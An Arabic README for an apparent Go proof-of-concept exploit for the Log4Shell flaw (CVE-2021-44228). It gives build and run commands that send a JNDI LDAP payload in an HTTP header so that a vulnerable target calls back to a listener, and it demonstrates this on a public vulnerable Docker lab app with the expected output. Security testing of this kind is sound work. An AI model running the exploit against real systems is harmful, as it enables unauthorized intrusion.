
إثبات مفهوم بسيط لـ Log4j مكتوب بـ Go
⚠️ إخلاء مسؤولية:
هذه الأداة مخصصة لأغراض تعليمية وبحث أمني وبيئات اختبار خاضعة للرقابة فقط.
استخدامها ضد أنظمة دون إذن صريح هو غير قانوني ويقع بالكامل على مسؤولية المستخدم.
يحتوي هذا المشروع على استغلال إثبات المفهوم (PoC) بسيط لثغرة Apache Log4j2 (CVE-2021-44228).
يرسل PoC رأس HTTP مصمم خصيصًا مع حمولة JNDI LDAP إلى الهدف.
إذا كان الهدف ضعيفًا، فسيرسل استدعاء رجعي (callback) إلى عنوان LHOST المحدد.
go build -o exploit exploit.go
sudo ./exploit -r "http://<TARGET_URL>/?search=test" -l <LOCAL_IP>
-r → عنوان URL الهدف (نقطة نهاية التطبيق الضعيف)-l → عنوان IP الخاص بمستمع الاستدعاء الرجعي الخاص بك (الجهاز الذي يشغل PoC)باستخدام تطبيق Docker الضعيف المقدم:
# تشغيل التطبيق الضعيف
docker run --rm --network host ghcr.io/christophetd/log4shell-vulnerable-app
# تشغيل الاستغلال
sudo ./exploit -r "http://127.0.0.1:8080/?search=test" -l 127.0.0.1
الإخراج المتوقع:
[*] Callback started on 1389
[*] Payload sent! HTTP Status: 200
[*] Callback from 127.0.0.1:56789, target is VULNERABLE